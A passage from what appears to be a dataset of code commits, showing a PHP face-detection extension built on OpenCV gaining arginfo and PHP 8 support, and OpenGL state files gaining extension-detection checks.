loaded.\\n\");\n        RETURN_FALSE;\n    }\n\n    img = imread(file);\n\n    if (!img.data) {\n        php_error_docref(NULL TSRMLS_CC, E_WARNING, \"Image could not be loaded.\\n\");\n        RETURN_FALSE;\n    }\n\n    cvtColor(img, gray, COLOR_BGR2GRAY);\n    equalizeHist(gray, gray);\n\n    cascade.detectMultiScale(gray, faces, 1.1, 2, 0 | CASCADE_SCALE_IMAGE, Size(30, 30));\n\n\n    if (return_type) {\n\n        array_init(return_value);\n\n        for (size_t i = 0; i < faces.size(); i++) {\n#ifdef ZEND_ENGINE_3\n            ZVAL_NEW_ARR(&array);\n            pArray = &array;\n#else\n            MAKE_STD_ZVAL(array);\n            pArray = array;\n#endif\n            array_init(pArray);\n\n            add_assoc_long(pArray, \"x\", faces[i].x);\n            add_assoc_long(pArray, \"y\", faces[i].y);\n            add_assoc_long(pArray, \"w\", faces[i].width);\n            add_assoc_long(pArray, \"h\", faces[i].height);\n\n            add_next_index_zval(return_value, pArray);\n        }\n\n    } else {\n        RETVAL_LONG(faces.size());\n    }\n}\n\nPHP_INI_MH(on_cascade_change) {\n\n    if (ZSTR_LEN(new_value) > 0 && cascade.load(ZSTR_VAL(new_value)))\n        return SUCCESS;\n    else\n        return FAILURE;\n}\n\nPHP_INI_BEGIN()\nPHP_INI_ENTRY(\"facedetect.cascade\", \"\", PHP_INI_ALL, on_cascade_change)\nPHP_INI_END()\n\n\nPHP_FUNCTION(face_detect) {\n    php_facedetect(INTERNAL_FUNCTION_PARAM_PASSTHRU, 1);\n}\n\nPHP_FUNCTION(face_count) {\n    php_facedetect(INTERNAL_FUNCTION_PARAM_PASSTHRU, 0);\n}\n\n\/* {{{ PHP_MINIT_FUNCTION\n *\/\nPHP_MINIT_FUNCTION(facedetect) {\n    REGISTER_INI_ENTRIES();\n    return SUCCESS;\n}\n\/* }}} *\/\n\n\/* {{{ PHP_MSHUTDOWN_FUNCTION\n *\/\nPHP_MSHUTDOWN_FUNCTION(facedetect) {\n    UNREGISTER_INI_ENTRIES();\n    return SUCCESS;\n}\n\/* }}} *\/\n\n\/* {{{ PHP_MINFO_FUNCTION\n *\/\nPHP_MINFO_FUNCTION(facedetect) {\n    php_info_print_table_start();\n    php_info_print_table_row(2, \"facedetect support\", \"enabled\");\n    php_info_print_table_row(2, \"facedetect version\", PHP_FACEDETECT_VERSION);\n    php_info_print_table_row(2, \"OpenCV version\", CV_VERSION);\n    php_info_print_table_end();\n}\n\/* }}} *\/\n\n\/* {{{ facedetect_functions[]\n *\n * Every user visible function must have an entry in facedetect_functions[].\n *\/\nconst zend_function_entry facedetect_functions[] = {\n    PHP_FE(face_detect, NULL)\n    PHP_FE(face_count, NULL)\n    PHP_FE_END\n};\n\/* }}} *\/\n\n\/* {{{ facedetect_module_entry\n *\/\nzend_module_entry facedetect_module_entry = {\n    STANDARD_MODULE_HEADER,\n    \"facedetect\",\n    facedetect_functions,\n    PHP_MINIT(facedetect),\n    PHP_MSHUTDOWN(facedetect),\n    NULL,\n    NULL,\n    PHP_MINFO(facedetect),\n    PHP_FACEDETECT_VERSION,\n    STANDARD_MODULE_PROPERTIES\n};\n\/* }}} *\/\n\n#ifdef COMPILE_DL_FACEDETECT\n#ifdef ZTS\nZEND_TSRMLS_CACHE_DEFINE()\n#endif\nextern \"C\" {\n    ZEND_GET_MODULE(facedetect)\n}\n#endif\n\n\/*\n * Local variables:\n * tab-width: 4\n * c-basic-offset: 4\n * End:\n * vim600: noet sw=4 ts=4 fdm=marker\n * vim<600: noet sw=4 ts=4\n *\/\n<commit_msg>add missing arginfo + PHP 8 compatibility<commit_after>\/*\n  +----------------------------------------------------------------------+\n  | PHP Version 7                                                        |\n  +----------------------------------------------------------------------+\n  | Copyright (c) 1997-2018 The PHP Group                                |\n  +----------------------------------------------------------------------+\n  | This source file is subject to version 3.01 of the PHP license,      |\n  | that is bundled with this package in the file LICENSE, and is        |\n  | available through the world-wide-web at the following url:           |\n  | http:\/\/www.php.net\/license\/3_01.txt                                  |\n  | If you did not receive a copy of the PHP license and are unable to   |\n  | obtain it through the world-wide-web, please send a note to          |\n  | license@php.net so we can mail you a copy immediately.               |\n  +----------------------------------------------------------------------+\n  | Author: Robert Eisele (https:\/\/www.xarg.org\/)                        |\n  +----------------------------------------------------------------------+\n *\/\n\n#ifdef HAVE_CONFIG_H\n#include \"config.h\"\n#endif\n\nextern \"C\" {\n#include \"php.h\"\n}\n#include \"ext\/standard\/info.h\"\n#include \"php_facedetect.h\"\n\n#include <opencv2\/core\/core.hpp>\n#include <opencv2\/highgui\/highgui.hpp>\n#include <opencv2\/imgproc\/imgproc.hpp>\n#include <opencv2\/objdetect\/objdetect.hpp>\n\n\/* for PHP 8 *\/\n#ifndef TSRMLS_CC\n#define TSRMLS_CC\n#endif\n\nusing namespace cv;\n\nCascadeClassifier cascade;\n\nstatic void php_facedetect(INTERNAL_FUNCTION_PARAMETERS, int return_type) {\n\n#ifdef ZEND_ENGINE_3\n    zval array;\n#else\n    zval *array;\n#endif\n    zval *pArray;\n\n    char *file = NULL, *casc = NULL;\n#if PHP_VERSION_ID < 70000\n    long flen, clen;\n#else\n    size_t flen, clen;\n#endif\n\n\n    Mat img;\n    Mat gray;\n    std::vector<Rect> faces;\n\n    if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, \"p|p\", &file, &flen, &casc, &clen) == FAILURE) {\n        RETURN_NULL();\n    }\n\n    if (access(file, R_OK) == -1) {\n        php_error_docref(NULL TSRMLS_CC, E_WARNING, \"Image file is missing or could not be read.\\n\");\n        RETURN_FALSE;\n    }\n\n    if (casc && access(casc, R_OK) == -1) {\n        php_error_docref(NULL TSRMLS_CC, E_WARNING, \"Haar-cascade file is missing or could not be read.\\n\");\n        RETURN_FALSE;\n    }\n\n    if (casc && !cascade.load(casc)) {\n        php_error_docref(NULL TSRMLS_CC, E_WARNING, \"Haar-cascade file could not be loaded.\\n\");\n        RETURN_FALSE;\n    }\n\n    if (!casc && cascade.empty()) {\n        php_error_docref(NULL TSRMLS_CC, E_WARNING, \"No Haar-cascade file loaded.\\n\");\n        RETURN_FALSE;\n    }\n\n    img = imread(file);\n\n    if (!img.data) {\n        php_error_docref(NULL TSRMLS_CC, E_WARNING, \"Image could not be loaded.\\n\");\n        RETURN_FALSE;\n    }\n\n    cvtColor(img, gray, COLOR_BGR2GRAY);\n    equalizeHist(gray, gray);\n\n    cascade.detectMultiScale(gray, faces, 1.1, 2, 0 | CASCADE_SCALE_IMAGE, Size(30, 30));\n\n\n    if (return_type) {\n\n        array_init(return_value);\n\n        for (size_t i = 0; i < faces.size(); i++) {\n#ifdef ZEND_ENGINE_3\n            ZVAL_NEW_ARR(&array);\n            pArray = &array;\n#else\n            MAKE_STD_ZVAL(array);\n            pArray = array;\n#endif\n            array_init(pArray);\n\n            add_assoc_long(pArray, \"x\", faces[i].x);\n            add_assoc_long(pArray, \"y\", faces[i].y);\n            add_assoc_long(pArray, \"w\", faces[i].width);\n            add_assoc_long(pArray, \"h\", faces[i].height);\n\n            add_next_index_zval(return_value, pArray);\n        }\n\n    } else {\n        RETVAL_LONG(faces.size());\n    }\n}\n\nPHP_INI_MH(on_cascade_change) {\n\n    if (ZSTR_LEN(new_value) > 0 && cascade.load(ZSTR_VAL(new_value)))\n        return SUCCESS;\n    else\n        return FAILURE;\n}\n\nPHP_INI_BEGIN()\nPHP_INI_ENTRY(\"facedetect.cascade\", \"\", PHP_INI_ALL, on_cascade_change)\nPHP_INI_END()\n\n\n#if PHP_VERSION_ID < 80000\nZEND_BEGIN_ARG_INFO_EX(arginfo_face_detect, 0, 0, 1)\n\tZEND_ARG_INFO(0, image_path)\n\tZEND_ARG_INFO(0, cascade_path)\nZEND_END_ARG_INFO()\n\n#define arginfo_face_count arginfo_face_detect\n\n#else\nZEND_BEGIN_ARG_WITH_RETURN_TYPE_MASK_EX(arginfo_face_detect, 0, 1, MAY_BE_FALSE|MAY_BE_ARRAY)\n\tZEND_ARG_TYPE_INFO(0, image_path, IS_STRING, 0)\n\tZEND_ARG_TYPE_INFO_WITH_DEFAULT_VALUE(0, cascade_path, IS_STRING, 1, \"null\")\nZEND_END_ARG_INFO()\n\nZEND_BEGIN_ARG_WITH_RETURN_TYPE_MASK_EX(arginfo_face_count, 0, 1, MAY_BE_FALSE|MAY_BE_LONG)\n\tZEND_ARG_TYPE_INFO(0, image_path, IS_STRING, 0)\n\tZEND_ARG_TYPE_INFO_WITH_DEFAULT_VALUE(0, cascade_path, IS_STRING, 1, \"null\")\nZEND_END_ARG_INFO()\n#endif\n\n\nPHP_FUNCTION(face_detect) {\n    php_facedetect(INTERNAL_FUNCTION_PARAM_PASSTHRU, 1);\n}\n\nPHP_FUNCTION(face_count) {\n    php_facedetect(INTERNAL_FUNCTION_PARAM_PASSTHRU, 0);\n}\n\n\/* {{{ PHP_MINIT_FUNCTION\n *\/\nPHP_MINIT_FUNCTION(facedetect) {\n    REGISTER_INI_ENTRIES();\n    return SUCCESS;\n}\n\/* }}} *\/\n\n\/* {{{ PHP_MSHUTDOWN_FUNCTION\n *\/\nPHP_MSHUTDOWN_FUNCTION(facedetect) {\n    UNREGISTER_INI_ENTRIES();\n    return SUCCESS;\n}\n\/* }}} *\/\n\n\/* {{{ PHP_MINFO_FUNCTION\n *\/\nPHP_MINFO_FUNCTION(facedetect) {\n    php_info_print_table_start();\n    php_info_print_table_row(2, \"facedetect support\", \"enabled\");\n    php_info_print_table_row(2, \"facedetect version\", PHP_FACEDETECT_VERSION);\n    php_info_print_table_row(2, \"OpenCV version\", CV_VERSION);\n    php_info_print_table_end();\n}\n\/* }}} *\/\n\n\/* {{{ facedetect_functions[]\n *\n * Every user visible function must have an entry in facedetect_functions[].\n *\/\nconst zend_function_entry facedetect_functions[] = {\n    PHP_FE(face_detect, arginfo_face_detect)\n    PHP_FE(face_count, arginfo_face_count)\n    PHP_FE_END\n};\n\/* }}} *\/\n\n\/* {{{ facedetect_module_entry\n *\/\nzend_module_entry facedetect_module_entry = {\n    STANDARD_MODULE_HEADER,\n    \"facedetect\",\n    facedetect_functions,\n    PHP_MINIT(facedetect),\n    PHP_MSHUTDOWN(facedetect),\n    NULL,\n    NULL,\n    PHP_MINFO(facedetect),\n    PHP_FACEDETECT_VERSION,\n    STANDARD_MODULE_PROPERTIES\n};\n\/* }}} *\/\n\n#ifdef COMPILE_DL_FACEDETECT\n#ifdef ZTS\nZEND_TSRMLS_CACHE_DEFINE()\n#endif\nextern \"C\" {\n    ZEND_GET_MODULE(facedetect)\n}\n#endif\n\n\/*\n * Local variables:\n * tab-width: 4\n * c-basic-offset: 4\n * End:\n * vim600: noet sw=4 ts=4 fdm=marker\n * vim<600: noet sw=4 ts=4\n *\/\n<|endoftext|>"}
{"text":"<commit_before>#include \"base\/logging.h\"\n#include \"gl_state.h\"\n#ifdef _WIN32\n#include \"GL\/wglew.h\"\n#endif\n\n#if defined(USING_GLES2)\n#if defined(ANDROID) || defined(BLACKBERRY)\nPFNGLALPHAFUNCQCOMPROC glAlphaFuncQCOM;\nPFNEGLGETSYSTEMTIMEFREQUENCYNVPROC eglGetSystemTimeFrequencyNV;\nPFNEGLGETSYSTEMTIMENVPROC eglGetSystemTimeNV;\nPFNGLMAPBUFFERPROC glMapBuffer;\n#endif\n#if !defined(IOS) && !defined(__SYMBIAN32__) && !defined(MEEGO_EDITION_HARMATTAN) && !defined(MAEMO)\nPFNGLDISCARDFRAMEBUFFEREXTPROC glDiscardFramebufferEXT;\nPFNGLGENVERTEXARRAYSOESPROC glGenVertexArraysOES;\nPFNGLBINDVERTEXARRAYOESPROC glBindVertexArrayOES;\nPFNGLDELETEVERTEXARRAYSOESPROC glDeleteVertexArraysOES;\nPFNGLISVERTEXARRAYOESPROC glIsVertexArrayOES;\n#endif\n#endif\n\nOpenGLState glstate;\nGLExtensions gl_extensions;\nstd::string g_all_gl_extensions;\nstd::string g_all_egl_extensions;\n\nint OpenGLState::state_count = 0;\n\nvoid OpenGLState::Initialize() {\n\tif(initialized) return;\n\n\tRestore();\n\n\tinitialized = true;\n}\n\nvoid OpenGLState::Restore() {\n\tint count = 0;\n\n\tblend.restore(); count++;\n\tblendEquation.restore(); count++;\n\tblendFuncSeparate.restore(); count++;\n\tblendColor.restore(); count++;\n\n#if defined(ANDROID) || defined(BLACKBERRY)\n\tif (gl_extensions.QCOM_alpha_test) {\n\t\talphaTestQCOM.restore();\n\t}\n\tcount++;\n\tif (gl_extensions.QCOM_alpha_test) {\n\t\talphaFuncQCOM.restore();\n\t}\n\tcount++;\n#endif\n\n\tscissorTest.restore(); count++;\n\tscissorRect.restore(); count++;\n\n\tcullFace.restore(); count++;\n\tcullFaceMode.restore(); count++;\n\tfrontFace.restore(); count++;\n\n\tdepthTest.restore(); count++;\n\tdepthRange.restore(); count++;\n\tdepthFunc.restore(); count++;\n\tdepthWrite.restore(); count++;\n\n\tcolorMask.restore(); count++;\n\tviewport.restore(); count++;\n\n\tstencilTest.restore(); count++;\n\tstencilOp.restore(); count++;\n\tstencilFunc.restore(); count++;\n\n\tdither.restore(); count++;\n\n#if !defined(USING_GLES2)\n\tcolorLogicOp.restore(); count++;\n\tlogicOp.restore(); count++;\n#endif\n\n\tif (count != state_count) {\n\t\tFLOG(\"OpenGLState::Restore is missing some states\");\n\t}\n}\n\n\/\/ http:\/\/stackoverflow.com\/questions\/16147700\/opengl-es-using-tegra-specific-extensions-gl-ext-texture-array\n\nvoid CheckGLExtensions() {\n\tstatic bool done = false;\n\tif (done)\n\t\treturn;\n\tdone = true;\n\n\tmemset(&gl_extensions, 0, sizeof(gl_extensions));\n\n\tconst char *extString = (const char *)glGetString(GL_EXTENSIONS);\n\tif (extString) {\n\t\tg_all_gl_extensions = extString;\n\t} else {\n\t\tg_all_gl_extensions = \"\";\n\t}\n\n#ifdef WIN32\n\tconst char *wglString = 0;\n\tif (wglGetExtensionsStringEXT)\n\t\twglString = wglGetExtensionsStringEXT();\n\tif (wglString) {\n\t\tgl_extensions.EXT_swap_control_tear = strstr(wglString, \"WGL_EXT_swap_control_tear\") != 0;\n\t\tg_all_egl_extensions = wglString;\n\t} else {\n\t\tg_all_egl_extensions = \"\";\n\t}\n#elif !defined(USING_GLES2)\n\t\/\/ const char *glXString = glXQueryExtensionString();\n\t\/\/ gl_extensions.EXT_swap_control_tear = strstr(glXString, \"GLX_EXT_swap_control_tear\") != 0;\n#endif\n\n#ifdef USING_GLES2\n\tgl_extensions.OES_packed_depth_stencil = strstr(extString, \"GL_OES_packed_depth_stencil\") != 0;\n\tgl_extensions.OES_depth24 = strstr(extString, \"GL_OES_depth24\") != 0;\n\tgl_extensions.OES_depth_texture = strstr(extString, \"GL_OES_depth_texture\") != 0;\n\tgl_extensions.OES_mapbuffer = strstr(extString, \"GL_OES_mapbuffer\") != 0;\n\tgl_extensions.EXT_shader_framebuffer_fetch = (strstr(extString, \"GL_EXT_shader_framebuffer_fetch\") != 0) || (strstr(extString, \"GL_NV_shader_framebuffer_fetch\") != 0);\n#if defined(IOS) || defined(__SYMBIAN32__) || defined(MEEGO_EDITION_HARMATTAN) || defined(MAEMO)\n\tgl_extensions.OES_vertex_array_object = false;\n\tgl_extensions.EXT_discard_framebuffer = false;\n#else\n\tgl_extensions.OES_vertex_array_object = strstr(extString, \"GL_OES_vertex_array_object\") != 0;\n\tif (gl_extensions.OES_vertex_array_object) {\n\t\tglGenVertexArraysOES = (PFNGLGENVERTEXARRAYSOESPROC)eglGetProcAddress ( \"glGenVertexArraysOES\" );\n\t\tglBindVertexArrayOES = (PFNGLBINDVERTEXARRAYOESPROC)eglGetProcAddress ( \"glBindVertexArrayOES\" );\n\t\tglDeleteVertexArraysOES = (PFNGLDELETEVERTEXARRAYSOESPROC)eglGetProcAddress ( \"glDeleteVertexArraysOES\" );\n\t\tglIsVertexArrayOES = (PFNGLISVERTEXARRAYOESPROC)eglGetProcAddress ( \"glIsVertexArrayOES\" );\n\t}\n\n\tgl_extensions.EXT_discard_framebuffer = strstr(extString, \"GL_EXT_discard_framebuffer\") != 0;\n\tif (gl_extensions.EXT_discard_framebuffer) {\n\t\tglDiscardFramebufferEXT = (PFNGLDISCARDFRAMEBUFFEREXTPROC)eglGetProcAddress(\"glDiscardFramebufferEXT\");\n\t}\n\n#endif\n#endif\n\n#if defined(ANDROID) || defined(BLACKBERRY)\n\tif (gl_extensions.OES_mapbuffer) {\n\t\tglMapBuffer = (PFNGLMAPBUFFERPROC)eglGetProcAddress( \"glMapBufferOES\" );\n\t}\n\tgl_extensions.QCOM_binning_control = strstr(extString, \"GL_QCOM_binning_control\") != 0;\n\tgl_extensions.QCOM_alpha_test = strstr(extString, \"GL_QCOM_alpha_test\") != 0;\n\t\/\/ Load extensions that are not auto-loaded by Android.\n\tif (gl_extensions.QCOM_alpha_test) {\n\t\tglAlphaFuncQCOM = (PFNGLALPHAFUNCQCOMPROC)eglGetProcAddress(\"glAlphaFuncQCOM\");\n\t}\n\n\t\/\/ Look for EGL extensions\n\tEGLDisplay display = eglGetDisplay(EGL_DEFAULT_DISPLAY);\n\n\tconst char *eglString = eglQueryString(display, EGL_EXTENSIONS);\n\tif (eglString) {\n\t\tg_all_egl_extensions = eglString;\n\n\t\tgl_extensions.EGL_NV_system_time = strstr(eglString, \"EGL_NV_system_time\") != 0;\n\t\tgl_extensions.EGL_NV_coverage_sample = strstr(eglString, \"EGL_NV_coverage_sample\") != 0;\n\n\t\tif (gl_extensions.EGL_NV_system_time) {\n\t\t\teglGetSystemTimeNV = (PFNEGLGETSYSTEMTIMENVPROC) eglGetProcAddress(\"eglGetSystemTimeNV\");\n\t\t\teglGetSystemTimeFrequencyNV = (PFNEGLGETSYSTEMTIMEFREQUENCYNVPROC) eglGetProcAddress(\"eglGetSystemTimeFrequencyNV\");\n\t\t}\n\t} else {\n\t\tg_all_egl_extensions = \"\";\n\t}\n\n#endif\n\n#ifdef USING_GLES2\n\tgl_extensions.FBO_ARB = true;\n\tgl_extensions.FBO_EXT = false;\n#else\n\tgl_extensions.FBO_ARB = false;\n\tgl_extensions.FBO_EXT = false;\n\tif (extString) {\n\t\tgl_extensions.FBO_ARB = strstr(extString, \"GL_ARB_framebuffer_object\") != 0;\n\t\tgl_extensions.FBO_EXT = strstr(extString, \"GL_EXT_framebuffer_object\") != 0;\n\t}\n#endif\n}\n\nvoid OpenGLState::SetVSyncInterval(int interval) {\n#ifdef _WIN32\n\tif( wglSwapIntervalEXT )\n\t\twglSwapIntervalEXT(interval);\n#endif\n}\n<commit_msg>Add GL_ARB_pixel_buffer_object detection<commit_after>#include \"base\/logging.h\"\n#include \"gl_state.h\"\n#ifdef _WIN32\n#include \"GL\/wglew.h\"\n#endif\n\n#if defined(USING_GLES2)\n#if defined(ANDROID) || defined(BLACKBERRY)\nPFNGLALPHAFUNCQCOMPROC glAlphaFuncQCOM;\nPFNEGLGETSYSTEMTIMEFREQUENCYNVPROC eglGetSystemTimeFrequencyNV;\nPFNEGLGETSYSTEMTIMENVPROC eglGetSystemTimeNV;\nPFNGLMAPBUFFERPROC glMapBuffer;\n#endif\n#if !defined(IOS) && !defined(__SYMBIAN32__) && !defined(MEEGO_EDITION_HARMATTAN) && !defined(MAEMO)\nPFNGLDISCARDFRAMEBUFFEREXTPROC glDiscardFramebufferEXT;\nPFNGLGENVERTEXARRAYSOESPROC glGenVertexArraysOES;\nPFNGLBINDVERTEXARRAYOESPROC glBindVertexArrayOES;\nPFNGLDELETEVERTEXARRAYSOESPROC glDeleteVertexArraysOES;\nPFNGLISVERTEXARRAYOESPROC glIsVertexArrayOES;\n#endif\n#endif\n\nOpenGLState glstate;\nGLExtensions gl_extensions;\nstd::string g_all_gl_extensions;\nstd::string g_all_egl_extensions;\n\nint OpenGLState::state_count = 0;\n\nvoid OpenGLState::Initialize() {\n\tif(initialized) return;\n\n\tRestore();\n\n\tinitialized = true;\n}\n\nvoid OpenGLState::Restore() {\n\tint count = 0;\n\n\tblend.restore(); count++;\n\tblendEquation.restore(); count++;\n\tblendFuncSeparate.restore(); count++;\n\tblendColor.restore(); count++;\n\n#if defined(ANDROID) || defined(BLACKBERRY)\n\tif (gl_extensions.QCOM_alpha_test) {\n\t\talphaTestQCOM.restore();\n\t}\n\tcount++;\n\tif (gl_extensions.QCOM_alpha_test) {\n\t\talphaFuncQCOM.restore();\n\t}\n\tcount++;\n#endif\n\n\tscissorTest.restore(); count++;\n\tscissorRect.restore(); count++;\n\n\tcullFace.restore(); count++;\n\tcullFaceMode.restore(); count++;\n\tfrontFace.restore(); count++;\n\n\tdepthTest.restore(); count++;\n\tdepthRange.restore(); count++;\n\tdepthFunc.restore(); count++;\n\tdepthWrite.restore(); count++;\n\n\tcolorMask.restore(); count++;\n\tviewport.restore(); count++;\n\n\tstencilTest.restore(); count++;\n\tstencilOp.restore(); count++;\n\tstencilFunc.restore(); count++;\n\n\tdither.restore(); count++;\n\n#if !defined(USING_GLES2)\n\tcolorLogicOp.restore(); count++;\n\tlogicOp.restore(); count++;\n#endif\n\n\tif (count != state_count) {\n\t\tFLOG(\"OpenGLState::Restore is missing some states\");\n\t}\n}\n\n\/\/ http:\/\/stackoverflow.com\/questions\/16147700\/opengl-es-using-tegra-specific-extensions-gl-ext-texture-array\n\nvoid CheckGLExtensions() {\n\tstatic bool done = false;\n\tif (done)\n\t\treturn;\n\tdone = true;\n\n\tmemset(&gl_extensions, 0, sizeof(gl_extensions));\n\n\tconst char *extString = (const char *)glGetString(GL_EXTENSIONS);\n\tif (extString) {\n\t\tg_all_gl_extensions = extString;\n\t} else {\n\t\tg_all_gl_extensions = \"\";\n\t}\n\n#ifdef WIN32\n\tconst char *wglString = 0;\n\tif (wglGetExtensionsStringEXT)\n\t\twglString = wglGetExtensionsStringEXT();\n\tif (wglString) {\n\t\tgl_extensions.EXT_swap_control_tear = strstr(wglString, \"WGL_EXT_swap_control_tear\") != 0;\n\t\tg_all_egl_extensions = wglString;\n\t} else {\n\t\tg_all_egl_extensions = \"\";\n\t}\n#elif !defined(USING_GLES2)\n\t\/\/ const char *glXString = glXQueryExtensionString();\n\t\/\/ gl_extensions.EXT_swap_control_tear = strstr(glXString, \"GLX_EXT_swap_control_tear\") != 0;\n#endif\n\n#ifdef USING_GLES2\n\tgl_extensions.OES_packed_depth_stencil = strstr(extString, \"GL_OES_packed_depth_stencil\") != 0;\n\tgl_extensions.OES_depth24 = strstr(extString, \"GL_OES_depth24\") != 0;\n\tgl_extensions.OES_depth_texture = strstr(extString, \"GL_OES_depth_texture\") != 0;\n\tgl_extensions.OES_mapbuffer = strstr(extString, \"GL_OES_mapbuffer\") != 0;\n\tgl_extensions.EXT_shader_framebuffer_fetch = (strstr(extString, \"GL_EXT_shader_framebuffer_fetch\") != 0) || (strstr(extString, \"GL_NV_shader_framebuffer_fetch\") != 0);\n#if defined(IOS) || defined(__SYMBIAN32__) || defined(MEEGO_EDITION_HARMATTAN) || defined(MAEMO)\n\tgl_extensions.OES_vertex_array_object = false;\n\tgl_extensions.EXT_discard_framebuffer = false;\n#else\n\tgl_extensions.OES_vertex_array_object = strstr(extString, \"GL_OES_vertex_array_object\") != 0;\n\tif (gl_extensions.OES_vertex_array_object) {\n\t\tglGenVertexArraysOES = (PFNGLGENVERTEXARRAYSOESPROC)eglGetProcAddress ( \"glGenVertexArraysOES\" );\n\t\tglBindVertexArrayOES = (PFNGLBINDVERTEXARRAYOESPROC)eglGetProcAddress ( \"glBindVertexArrayOES\" );\n\t\tglDeleteVertexArraysOES = (PFNGLDELETEVERTEXARRAYSOESPROC)eglGetProcAddress ( \"glDeleteVertexArraysOES\" );\n\t\tglIsVertexArrayOES = (PFNGLISVERTEXARRAYOESPROC)eglGetProcAddress ( \"glIsVertexArrayOES\" );\n\t}\n\n\tgl_extensions.EXT_discard_framebuffer = strstr(extString, \"GL_EXT_discard_framebuffer\") != 0;\n\tif (gl_extensions.EXT_discard_framebuffer) {\n\t\tglDiscardFramebufferEXT = (PFNGLDISCARDFRAMEBUFFEREXTPROC)eglGetProcAddress(\"glDiscardFramebufferEXT\");\n\t}\n\n#endif\n#endif\n\n#if defined(ANDROID) || defined(BLACKBERRY)\n\tif (gl_extensions.OES_mapbuffer) {\n\t\tglMapBuffer = (PFNGLMAPBUFFERPROC)eglGetProcAddress( \"glMapBufferOES\" );\n\t}\n\tgl_extensions.QCOM_binning_control = strstr(extString, \"GL_QCOM_binning_control\") != 0;\n\tgl_extensions.QCOM_alpha_test = strstr(extString, \"GL_QCOM_alpha_test\") != 0;\n\t\/\/ Load extensions that are not auto-loaded by Android.\n\tif (gl_extensions.QCOM_alpha_test) {\n\t\tglAlphaFuncQCOM = (PFNGLALPHAFUNCQCOMPROC)eglGetProcAddress(\"glAlphaFuncQCOM\");\n\t}\n\n\t\/\/ Look for EGL extensions\n\tEGLDisplay display = eglGetDisplay(EGL_DEFAULT_DISPLAY);\n\n\tconst char *eglString = eglQueryString(display, EGL_EXTENSIONS);\n\tif (eglString) {\n\t\tg_all_egl_extensions = eglString;\n\n\t\tgl_extensions.EGL_NV_system_time = strstr(eglString, \"EGL_NV_system_time\") != 0;\n\t\tgl_extensions.EGL_NV_coverage_sample = strstr(eglString, \"EGL_NV_coverage_sample\") != 0;\n\n\t\tif (gl_extensions.EGL_NV_system_time) {\n\t\t\teglGetSystemTimeNV = (PFNEGLGETSYSTEMTIMENVPROC) eglGetProcAddress(\"eglGetSystemTimeNV\");\n\t\t\teglGetSystemTimeFrequencyNV = (PFNEGLGETSYSTEMTIMEFREQUENCYNVPROC) eglGetProcAddress(\"eglGetSystemTimeFrequencyNV\");\n\t\t}\n\t} else {\n\t\tg_all_egl_extensions = \"\";\n\t}\n\n#endif\n\n#ifdef USING_GLES2\n\tgl_extensions.FBO_ARB = true;\n\tgl_extensions.FBO_EXT = false;\n#else\n\tgl_extensions.FBO_ARB = false;\n\tgl_extensions.FBO_EXT = false;\n\tgl_extensions.PBO_ARB = true;\n\tif (extString) {\n\t\tgl_extensions.FBO_ARB = strstr(extString, \"GL_ARB_framebuffer_object\") != 0;\n\t\tgl_extensions.FBO_EXT = strstr(extString, \"GL_EXT_framebuffer_object\") != 0;\n\t\tgl_extensions.PBO_ARB = strstr(extString, \"GL_ARB_pixel_buffer_object\") != 0;\n\t}\n#endif\n}\n\nvoid OpenGLState::SetVSyncInterval(int interval) {\n#ifdef _WIN32\n\tif( wglSwapIntervalEXT )\n\t\twglSwapIntervalEXT(interval);\n#endif\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <assert.h>\n#include \"gl_state.h\"\n#ifdef _WIN32\n#include \"GL\/wglew.h\"\n#endif\n\n\n#ifdef USING_GLES2\nPFNGLALPHAFUNCQCOMPROC glAlphaFuncQCOM;\n#endif\n\n\nOpenGLState glstate;\nGLExtensions gl_extensions;\n\nint OpenGLState::state_count = 0;\n\nvoid OpenGLState::Initialize() {\n\tif(initialized) return;\n\n\tRestore();\n\n\tinitialized = true;\n}\n\nvoid OpenGLState::Restore() {\n\tint count = 0;\n\tblend.restore(); count++;\n\tblendEquation.restore(); count++;\n\tblendFunc.restore(); count++;\n\tblendColor.restore(); count++;\n\n\tscissorTest.restore(); count++;\n\tscissorRect.restore(); count++;\n\n\tcullFace.restore(); count++;\n\tcullFaceMode.restore(); count++;\n\tfrontFace.restore(); count++;\n\n\tdepthTest.restore(); count++;\n\tdepthRange.restore(); count++;\n\tdepthFunc.restore(); count++;\n\tdepthWrite.restore(); count++;\n\n\tcolorMask.restore(); count++;\n\tviewport.restore(); count++;\n\n\tstencilTest.restore(); count++;\n\tstencilOp.restore(); count++;\n\tstencilFunc.restore(); count++;\n\n\tdither.restore(); count++;\n\n\tassert(count == state_count && \"OpenGLState::Restore is missing some states\");\n}\n\n\/\/ http:\/\/stackoverflow.com\/questions\/16147700\/opengl-es-using-tegra-specific-extensions-gl-ext-texture-array\n\nvoid CheckGLExtensions() {\n\tstatic bool done = false;\n\tif (done)\n\t\treturn;\n\tdone = true;\n\n\tmemset(&gl_extensions, 0, sizeof(gl_extensions));\n\n\tconst char *extString = (const char *)glGetString(GL_EXTENSIONS);\n\n#ifdef WIN32\n\tconst char *wglString = wglGetExtensionsStringEXT();\n\tgl_extensions.EXT_swap_control_tear = strstr(wglString, \"WGL_EXT_swap_control_tear\") != 0;\n#elif !defined(USING_GLES2)\n\t\/\/ const char *glXString = glXQueryExtensionString();\n\t\/\/ gl_extensions.EXT_swap_control_tear = strstr(glXString, \"GLX_EXT_swap_control_tear\") != 0;\n#endif\n\tgl_extensions.OES_packed_depth_stencil = strstr(extString, \"GL_OES_packed_depth_stencil\") != 0;\n\tgl_extensions.OES_depth24 = strstr(extString, \"GL_OES_depth24\") != 0;\n\tgl_extensions.OES_depth_texture = strstr(extString, \"GL_OES_depth_texture\") != 0;\n\tgl_extensions.EXT_discard_framebuffer = strstr(extString, \"GL_EXT_discard_framebuffer\") != 0;\n\n\t\/\/ TODO: Change to USING_GLES2 if it works on those other platforms too\n#ifdef ANDROID\n\tgl_extensions.QCOM_alpha_test = strstr(extString, \"GL_QCOM_alpha_test\") != 0;\n\t\/\/ Load extensions that are not auto-loaded by Android.\n\tglAlphaFuncQCOM = (PFNGLALPHAFUNCQCOMPROC)eglGetProcAddress(\"glAlphaFuncQCOM\");\n#endif\n\n#ifdef USING_GLES2\n\tgl_extensions.FBO_ARB = true;\n\tgl_extensions.FBO_EXT = false;\n#else\n\tgl_extensions.FBO_ARB = strstr(extString, \"GL_ARB_framebuffer_object\") != 0;\n\tgl_extensions.FBO_EXT = strstr(extString, \"GL_EXT_framebuffer_object\") != 0;\n#endif\n}\n\nvoid OpenGLState::SetVSyncInterval(int interval) 